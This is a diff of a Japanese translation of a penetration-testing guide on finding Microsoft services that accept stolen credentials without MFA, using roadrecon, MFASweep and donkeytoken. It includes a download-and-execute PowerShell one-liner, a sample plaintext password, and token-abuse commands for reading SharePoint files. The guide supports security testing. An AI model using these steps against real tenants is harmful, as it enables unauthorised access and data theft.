このスクリプトは、いくつかのユーザー資格情報を取得し、いくつかのアプリケーションにログインできるかどうかを確認します。
|
||||
|
||||
これは、後で**特権を昇格させるために悪用する可能性のあるアプリケーションにログインする際にMFAが**必要ないかどうかを確認するのに役立ちます。
|
||||
これは、後で**特権を昇格させるために悪用する可能性のあるアプリケーションにログインするためにMFAが**必要ないかどうかを確認するのに役立ちます。
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
@@ -124,7 +124,7 @@ roadrecon plugin policies
|
||||
```
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
MFASweepは、**提供された資格情報を使用してさまざまなMicrosoftサービスにログインし、MFAが有効かどうかを特定しようとするPowerShellスクリプトです**。条件付きアクセス ポリシーやその他の多要素認証設定がどのように構成されているかによって、一部のプロトコルは単一要素のまま残る可能性があります。また、ADFS構成の追加チェックがあり、検出された場合はオンプレミスのADFSサーバーにログインしようとすることもできます。
|
||||
MFASweepは、**提供された資格情報を使用してさまざまなMicrosoftサービスにログインし、MFAが有効かどうかを特定しようとするPowerShellスクリプトです**。条件付きアクセス ポリシーやその他の多要素認証設定がどのように構成されているかによって、一部のプロトコルは単一要素のままになる可能性があります。また、ADFS構成の追加チェックがあり、検出された場合はオンプレミスのADFSサーバーにログインしようとすることもできます。
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
@@ -143,25 +143,25 @@ Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey tokenは、Conditional Access Policiesを検証する必要があるセキュリティコンサルタントや、2FAが有効なMicrosoftポータルのテストを行うための機能のセットです。
|
||||
Donkey tokenは、Conditional Access Policiesを検証する必要があるセキュリティコンサルタントを支援することを目的とした一連の機能です。2FAが有効なMicrosoftポータルのテストなど。
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
</strong></code></pre>
|
||||
|
||||
**各ポータルをテスト**して、**MFAなしでログインできるか**確認します:
|
||||
**各ポータルをテスト**して、**MFAなしでログインできるか**確認します：
|
||||
```bash
|
||||
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
|
||||
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
```
|
||||
**Azure** **ポータル**は**制約されていない**ため、**前回の実行で検出された任意のサービスにアクセスするためにポータルエンドポイントからトークンを取得することが可能です**。この場合、Sharepointが特定され、そのアクセスのためのトークンが要求されます：
|
||||
**Azure** **ポータル**は**制約されていない**ため、**前回の実行で検出された任意のサービスにアクセスするためにポータルエンドポイントからトークンを取得することが可能です**。この場合、Sharepointが特定され、そのアクセス用のトークンが要求されます：
|
||||
```bash
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
```
|
||||
トークンが Sites.Read.All (Sharepoint から) の権限を持っていると仮定すると、MFA のためにウェブから Sharepoint にアクセスできなくても、生成されたトークンを使用してファイルにアクセスすることが可能です:
|
||||
トークンが Sites.Read.All の権限を持っていると仮定すると、MFA のためにウェブから Sharepoint にアクセスできなくても、生成されたトークンを使用してファイルにアクセスすることが可能です:
|
||||
```bash
|
||||
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user